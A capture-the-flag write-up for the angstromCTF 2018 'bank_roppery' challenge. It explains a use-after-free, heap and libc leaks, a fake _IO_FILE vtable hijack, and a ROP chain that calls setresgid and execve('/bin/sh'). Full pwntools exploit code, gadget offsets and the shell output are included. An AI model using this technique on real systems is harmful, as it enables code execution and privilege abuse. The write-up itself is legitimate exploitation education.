angstromCTF 2018 - bank_roppery (6 solves)

Attachment: bank_roppery libc.so.6 xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
Welcome to GNT Holdings, the most secure bank in the world!
You can deposit/withdraw money, write checks, and store your possessions safely

Let's start by getting you logged in
Enter username: AAAABBBB
Enter a password: CCCCDDDD
New user AAAABBBB created
Welcome, AAAABBBB! Here are the commands you can use: 
d - Deposit money in an account
w - Withdraw money from an account
v - View account balance
c - Write a check for an account
s - Store an object in a safe deposit box
r - Retrieve an object from a safe deposit box
e - Enumerate all the items in a safe deposit box
p - Change the user's password
l - Login as a different user
h - Print this very menu
x - Exit the program

>

Well, this was one of the challenges on angstromCTF 2018, which kept me busy for a while (almost sure, I just overcomplicated it, but well ;-))

It contained an obvious UAF in the store_object function:

void store_object()
{
  sdobj_t *sdobj = (sdobj_t*)malloc(sizeof(sdobj_t));

  sdobj->size = read_float("volume of the object (in cm^3)");
  while (isnan(sdobj->size))
  {
    printf("Invalid decimal number\n");
    sdobj->size = read_float("volume of the object (in cm^3)");
  }
  
  // UAF
  if (sdobj->size > 5000.0)
  {
    printf("Object is too large\n");
    free(sdobj);
  }

  printf("Enter the short description: ");
  fflush(stdout);
  readline(sdobj->name, 32, stdin);

  printf("Enter the long description: ");
  fflush(stdout);
  readline(sdobj->desc, 64, stdin);

  printf("Enter who owns it: ");
  fflush(stdout);
  readline(sdobj->owner, 32, stdin);

  sdobj->next = NULL;

  if (account.sdbox == NULL)
  {
    account.sdbox = sdobj;
  }
  else
  {
    sdobj_t *cur = account.sdbox;
    while (cur->next) cur = cur->next;
    cur->next = sdobj;
  }

  write_account();
}

But where to go from with that…

Well, first things first, we need some leaks. For this, we just create some objects in the deposit box and then retrieve some of them to fill the unsorted bin list and their FD/BK pointers.

We can then recreate an entry in the deposit box, but this time, we’ll specify an invalid object size, so the chunk gets freed, before we fill it.

When store_object calls write_account after this, it will open the .account file and fopen will allocate a chunk for it’s file structure. Since our deposit chunk doesn’t match the size of the requested chunk of fopen, it will be put into the bin list and linked accordingly (overwriting the FD pointer of our chunk with the address of one of the previously freed chunks, which happens to be the name of our stored object).

Thus, we can leak a heap address from the name of the last deposited entry.

After this, we’ll store another object in the deposit box, which will then get served one of the initial freed chunks, and thus our freed chunk will get linked to main_arena (and we can now leak a pointer to main_arena via the name of this chunk).

As a side note, since many people seemed to have trouble with the challenge on the remote machine. You couldn’t execute the bank_roppery binary in the folder /problems/bank_roppery, since it would segfault, because it wasn’t allowed to write in that folder.

Easy solution for this, just create a symbolic link in your home directory to the binary, and it will write all its data to the home dir (where you obviously have write permissions).

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "shell.angstromctf.com"
USER = "team422720"
PW = "XXXXXXXXXXXX"

def store(size, shortdesc, longdesc, owner):
  r.sendline("s")
  r.sendlineafter(": ", size)
  r.sendlineafter(": ", shortdesc)
  r.sendlineafter(": ", longdesc)
  r.sendlineafter(": ", owner)
  r.recvuntil(">")

def retrieve(idx):
  r.sendline("r")
  r.sendlineafter(": ", str(idx))
  r.recvuntil(">")

def enumerate():
  r.sendline("e")
  r.recvline()
  r.recvline()

  DATA = r.recvuntil("> ", drop=True)
  return DATA.split("\n")

def exploit(r):
  USERNAME = "Z"*8+p8(0x31)
  PW = "CCCCDDDD"

  r.sendlineafter("username: ", USERNAME)
  r.sendlineafter("password: ", PW)

  r.recvuntil(">")
  payload = "D"*24+p8(0xa1) 
  
  log.info("Create initial chunks")

  store("1000.0", "A"*8, "1"*8, "A1"*8) # 0
  store("1000.0", "B"*8, "2"*8, "B1"*8) # 1
  store("1000.0", "C"*8, "3"*8, "C1"*8) # 2
  store("1000.0", "D"*8, "4"*8, "D1"*8) # 3
  store("1000.0", "E"*8, "5"*8, "E1"*8) # 3
  
  log.info("Free some chunks to fill unsorted bin list")

  retrieve(3)
  retrieve(1)
  
  log.info("Create chunk (free it before filling to get a leak on FD/BK)")
  store("6000.0", "", "A"*30, "B"*30)

  log.info("Leak heap address via chunk 3")

  HEAPLEAK = u64(enumerate()[3].split(": ")[1].split(" ")[0].strip().ljust(8, "\x00"))

  log.info("Store another chunk to get main_arena ptr into freed chunk")
  store("100.0", "F"*8, "6"*8, "F1"*8)

  log.info("Leak LIBC via chunk 3")
  LIBCLEAK = u64(enumerate()[3].split(": ")[1].split(" ")[0].strip().ljust(8, "\x00"))

  log.info("HEAPLEAK         : %s" % hex(HEAPLEAK))
  log.info("LIBCLEAK         : %s" % hex(LIBCLEAK))
      
  r.interactive()
  
  return

if __name__ == "__main__":
  e = ELF("./bank_roppery")
  libc = ELF("./libc.so.6")
  
  if len(sys.argv) > 1:
    LOCAL = False
    session = ssh(USER, HOST, password=PW)
    session.run("rm .account")
    session.run("rm .password")
    session.run("rm -rf ZZZZZZZZ1")
    r = session.process(["./bank_roppery"])
    exploit(r)
  else:
    LOCAL = True
    os.system("rm .account")
    os.system("rm .password")
    os.system("rm -rf ZZZZZZZZ1")
    r = process(["./bank_roppery"], env={"LD_PRELOAD":"./libc.so.6"})
    print util.proc.pidof(r)
    pause()
    exploit(r)
python xpl.py
[*] '/vagrant/Challenges/angstrom/pwn/bankrop/b/bank_roppery'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/vagrant/Challenges/angstrom/pwn/bankrop/b/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './bank_roppery': pid 9216
[9216]
[*] Paused (press any to continue)
[*] Create initial chunks
[*] Free some chunks to fill unsorted bin list
[*] Create chunk (free it before filling to get a leak on FD/BK)
[*] Leak heap address via chunk 3
[*] Store another chunk to get main_arena ptr into freed chunk
[*] Leak LIBC via chunk 3
[*] HEAPLEAK         : 0x6040a0
[*] LIBCLEAK         : 0x7ffff7dd1c08
[*] Switching to interactive mode

So, we have the leaks, but still no useful overwrites. No pointers on the heap, which we could edit, even if we would be able to overwrite them. What a bummer…

What could we use that UAF for, then. Well, let’s take a look, how the new objects gets inserted into our deposit list.

It’s a single linked list, and to add an object to the list, the function store_object iterates over all next pointers, until it finds an empty one, and links our chunk there.

if (account.sdbox == NULL)
{
  account.sdbox = sdobj;
}
else
{
  sdobj_t *cur = account.sdbox;
  while (cur->next) cur = cur->next;
  cur->next = sdobj;
}

Let’s just think about the current situation in our heap.

We currently have 4 objects linked in the sdbox list.

Name                             Owner                           
--------------------------------------------------------------------
0: AAAAAAAA                         A1A1A1A1A1A1A1A1                
1: CCCCCCCC                         C1C1C1C1C1C1C1C1                
2: EEEEEEEE                         E1E1E1E1E1E1E1E1                
3:\x1c\xff\x7f                      BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB  
4: FFFFFFFF                         F1F1F1F1F1F1F1F1

The object 3 is in our sdbox list and also sits around in unsorted bin list (since it was freed before filling it), just waiting to get allocated on the next malloc. If we create another object now, malloc will serve us the address of chunk 3, which we can then overwrite. But if we just store another object there, we can only overwrite name, owner, etc. Not very useful.

What other objects can we create?

typedef struct
{
  int date;
  float amount_num;
  char paid_to[32];
  char amount_str[40];
  char address[32];
  char memo[28];
} __attribute__((__packed__)) check_t;

typedef struct sdobj
{
  char name[32];
  char desc[64];
  char owner[32];
  float size;
  struct sdobj *next;
} __attribute__((__packed__)) sdobj_t;

Both types are of the same size.

If we examine both structs, you can see that the memo field of check_t is overlapping the same area, which would be covered by the next pointer in a sdobj_t object.

Thus, if we now create a check, it will be created in the chunk, that is object 3 and we can overwrite the next pointer of chunk 3 via the memo field of the check. On the next store_object it would create an object on the heap, and store the address of this object at next+0x84 (next->next).

There is only one problem with this: We cannot put an arbitrary address there. It has to point to a value of 0x0, so store_object will stop iterating and write the address of the next chunk there.

But let’s sum this up

  • Overwrite next ptr of object 3 with a check
  • On the next time, we call store_object it will create a chunk on the heap
  • and store the address of this object at next->next of object 3 (which we overwrote with the previous check)

Thus, we can overwrite an arbitrary address (as long as it contains 0x0) with the address of our object.

Most interesting pointers (got, IO_list_all, etc.) will already contain a value, so we won’t be able to use them.

But alas, we’re dealing with libc 2.23, so _IO_FILE struct is going to help us out :)

struct _IO_FILE {
  int _flags;   /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr; /* Current read pointer */
  char* _IO_read_end; /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base; /* Start of reserve area. */
  char* _IO_buf_end;  /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;

When the application exits, it will call _IO_flush_all_lockp to clean up file handles.

For iterating all open file structures, it takes the first file pointer from _IO_list_all (pointing to stderr). It will do some checks, eventually calling some cleanup methods and then try to continue with the next file structure. The next open file structure should be stored in the _chain ptr of the current one, so it will continue with that until _chain is NULL (no more files to check).

fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
  _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)     )
    && _IO_OVERFLOW (fp, EOF) == EOF)
  result = EOF;

      if (do_lock)
  _IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
  {    
    fp = (_IO_FILE *) _IO_list_all;
    last_stamp = _IO_list_all_stamp;
  }
      else
  fp = fp->_chain;     // Get next file ptr from chain
    }

Did the last sentence sound intriguing? Right, the _chain ptr of stdin will be 0x0, since it’s the last open file structure. And we are able to write a heap address to an arbitrary address, which contains 0x0. Gotcha…

Thus, we can create a check to overwrite the next ptr in our object 3 with the address of _chain in stdin (better said _chain-0x84, since we overwrite its next ptr). The next object allocation will then create an object on the heap and store its address in stdins _chain.

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)     )
    && _IO_OVERFLOW (fp, EOF) == EOF)

On a later exit, _IO_flush_all_lockp will thus handle the _chain ptr of stdin as another file structure and happily apply the code above on it.

If we’re able to fulfill

(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

it will execute

_IO_OVERFLOW (fp, EOF)

which is just a macro to call the overflow function from the vtable of the file structure.

#define _IO_JUMPS(THIS) (THIS)->vtable

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

Let’s sum it up:

  • Overwrite next ptr of object 3 with _chain-0x84 of stdin
  • Next object allocation will create an object on the heap and write its address into _chain of stdin
  • If _IO_write_ptr in our fake file struct on the heap is bigger than _IO_write_base it will try to use the (fake) vtable entry in our fake structure to call vtable->__overflow

Thus, we just have to forge a proper fake file struct on the heap, to be able to call an arbitrary function, which will get the address of the file struct as its first argument.

At this point, I just tried this to call system("/bin/sh"), which will give you a shell on the system… But you won’t be in the right usergroup and not able to access the flag. We have to call setresgid before. In the end I opted to use the _IO_file approach to do a gets(rsp), writing a ropchain, which will call setresgid and then execve("/bin/sh").

libc.address = LIBCLEAK - 0x3c4c08

log.info("Overwrite next ptr in chunk with ptr to chain ptr of stdin") 

payload = "E"*20  
payload += p64(LIBCLEAK-0x2c0-0x84)[:7]   # address of stdin._chain

check("200.0", "A"*30, "B"*30, "D"*30, payload)

log.info("Overwrite chain ptr in stdin with ptr to next stored chunk (and fill with IO_file struct)")
  
# mov rdi, rsp, call qword ptr [rax+0x20h]
CALLGETS = libc.address + 0x12b86b    
RET = libc.address + 0xae876    # ret
  
payload1 = p64(0) + p64(0)
payload1 += p64(0) + p64(0)[:7]

payload2 =  p64(0) + p64(RET)
payload2 += p64(0) + p64(0)
payload2 += p64(0) + p64(0) 
payload2 += p64(8) + p64(CALLGETS)[:7]  

payload3 = p64(libc.symbols["gets"]) + p64(0)       # next chain
payload3 += p64(0x0) + p64(0xffffffffffffffff)[:7]
  
store2("100.0", payload1, payload2, payload3)

payload1 = p64(0) + p64(0)
payload1 += p64(0) + p64(0)
    
payload2 = p64(0) + p64(0)
payload2 += p64(0)[:7] + p64(HEAPLEAK + 0x328-0x18)   # vtable
payload2 += "C"*(64-len(payload2))

store2("100.0", payload1, payload2, payload3)

Storing the ret gadget in _IO_write_ptr was just coincidentally, since I needed to put it somewhere for later use in the rop chain. As long as _IO_write_ptr > _IO_write_base, everything’s fine ;)

This will create the following fake file structure on the heap.

x/30gx 0x604370-0x10
0x604370: 0x0000000000000000  0x0000000000000000 <== fp
0x604380: 0x0000000000000000  0x0000000000000000
0x604390: 0x0000000000000000  0x00007ffff7abb876 <== _IO_write_base / _IO_write_ptr (also RET gadget)
0x6043a0: 0x0000000000000000  0x0000000000000000
0x6043b0: 0x0000000000000000  0x0000000000000000
0x6043c0: 0x0000000000000008  0x00007ffff7b3886b <== ptr to CALLGETS gadget
0x6043d0: 0x00007ffff7a7bd80  0x0000000000000000 <== ptr to gets
0x6043e0: 0x0000000000000000  0x00ffffffffffffff
0x6043f0: 0x0060441042c80000  0x0000000000000000
0x604400: 0x0000000000000000  0x00000000000000a1
0x604410: 0x0000000000000000  0x0000000000000000
0x604420: 0x0000000000000000  0x0000000000000000
0x604430: 0x0000000000000000  0x0000000000000000
0x604440: 0x0000000000000000  0x00000000006043b0 <== fake vtable address
0x604450: 0x4343434343434343  0x4343434343434343
0x604460: 0x4343434343434343  0x0043434343434343
0x604470: 0x7ffff7a7bd804343  0x0000000000000000

x/30gx 0x00007ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>:      0x00000000fbad208b  0x00007ffff7dd1963
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:   0x00007ffff7dd1963  0x00007ffff7dd1963
0x7ffff7dd1900 <_IO_2_1_stdin_+32>:   0x00007ffff7dd1963  0x00007ffff7dd1963
0x7ffff7dd1910 <_IO_2_1_stdin_+48>:   0x00007ffff7dd1963  0x00007ffff7dd1963
0x7ffff7dd1920 <_IO_2_1_stdin_+64>:   0x00007ffff7dd1964  0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>:   0x0000000000000000  0x0000000000604370   <== _chain pointing to our fake file
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:  0x0000000000000000  0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:  0x00000000ff000000  0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:  0xffffffffffffffff  0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:  0x00007ffff7dd19c0  0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:  0x0000000000000000  0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:  0x00000000ffffffff  0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:  0x0000000000000000  0x00007ffff7dd06e0

Sooooooo. When we exit the program, it will

  • call _IO_flush_all_lockp
  • iterate through the file handles arriving at our fake chunk
  • comparing _IO_write_ptr to _IO_write_base, and since it’s bigger, calls vtable->overflow
  • our vtable points to 0x60403b0
  • The function pointer for overflow is at vtable + 0x18 (in this example 0x6043c8)
  • We put the address to our call gadget at 0x6043c8, so this will now call
mov rdi, rsp;
call qword ptr [rax+0x20h]
  • At this point rax will contain our fake vtable, so it will call vtable + 0x20, which is 0x6043d0. That’s the reason we stored gets there.
  • So this will basically just call gets(rsp), allowing us to put a huge ropchain there, which makes exploitation a lot easier now.
  • After the call to get, the gadget will do an
mov    rax,QWORD PTR [rsp+0x8]
mov    rax,QWORD PTR [rax+0x38]
...
call   rax
add    rsp,0x30
pop    rbx
  • So, we just put the address of a ret gadget at rsp+0x8 and fillup the ropchain because of add rsp, 0x30; pop rbx.

The problem with just executing system("/bin/sh") was, that we were missing the right user group to read the flag, but with being able to rop, this shouldn’t be a problem anymore.

log.info("Exit will trigger our fake IO_file => gets(rsp)")

r.sendline("5")
r.sendline()

log.info("Send ropchain (setresgid + execve)")

POPRAX = libc.address + 0x0000000000033544
POPRDI = libc.address + 0x0000000000021102
POPRSI = libc.address + 0x00000000000202e8
POPRDX = libc.address + 0x0000000000001b92
SYSCALL = libc.address + 0x00000000000bc375

payload = "A"*8
payload += p64(HEAPLEAK + 0x2f8 - 0x38)  # gadget will call rax+0x38 (=> ret)
payload += p64(0xdeadbeef)*5

# setresgid (1011, 1011, 1011)
payload += p64(POPRAX)
payload += p64(119)
payload += p64(POPRDI)
payload += p64(1011)
payload += p64(POPRSI)
payload += p64(1011)
payload += p64(POPRDX)
payload += p64(1011)
payload += p64(SYSCALL)

# execve("/bin/sh")
payload += p64(POPRAX)
payload += p64(59)
payload += p64(POPRDI)
payload += p64(next(libc.search("/bin/sh")))
payload += p64(POPRSI)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(SYSCALL)

r.sendline(payload)
r.sendline()

r.interactive()

The ropchain calls setresgid(1011, 1011, 1011) to fix our usergroup and then execve("/bin/sh"), which pops a shell.

If trying this locally, you’ll see that stdin and stdout will already be closed, so you won’t be able to get any output from the shell.

But since we’re connecting remotely via ssh, we’ll still have a socket fd for input/output, so this isn’t a problem.

[*] '/vagrant/Challenges/angstrom/pwn/bankrop/b/bank_roppery'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/vagrant/Challenges/angstrom/pwn/bankrop/b/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Connecting to shell.angstromctf.com on port 22: Done
[!] Couldn't check security settings on 'shell.angstromctf.com'
[+] Opening new channel: 'rm .account': Done
[+] Opening new channel: 'rm .password': Done
[+] Opening new channel: 'rm -rf ZZZZZZZZ1': Done
[+] Starting remote process './bank_roppery' on shell.angstromctf.com: pid 28979
[*] Create initial chunks
[*] Free some chunks to fill unsorted bin list
[*] Create chunk (free it before filling to get a leak on FD/BK)
[*] Leak heap address via chunk 3
[*] Store another chunk to get main_arena ptr into freed chunk
[*] Leak LIBC via chunk 3
[*] HEAPLEAK         : 0x9df0a0
[*] LIBCLEAK         : 0x7fe22ac04c08
[*] Overwrite next ptr in chunk with ptr to chain ptr of stderr
[*] Overwrite chain ptr in stderr with ptr to next stored chunk (and fill with IO_file struct)
[*] Exit will trigger our fake IO_file => gets(rsp)
[*] Send ropchain (setresgid + execve)
[*] Switching to interactive mode
 > > $ $ id
uid=2034(team422720) gid=1011(problem-bank_roppery) groups=1011(problem-bank_roppery),1000(teams)
$ $ cat /problems/bank_roppery/flag
actf{the_yuge_banks_should_be_broken_into_little_pieces}

Only problem left, the webpage didn’t want to accept the flag.

Thanks to kmh11 from irc for fixing this issue, resulting in the last pwn challenge being solved :)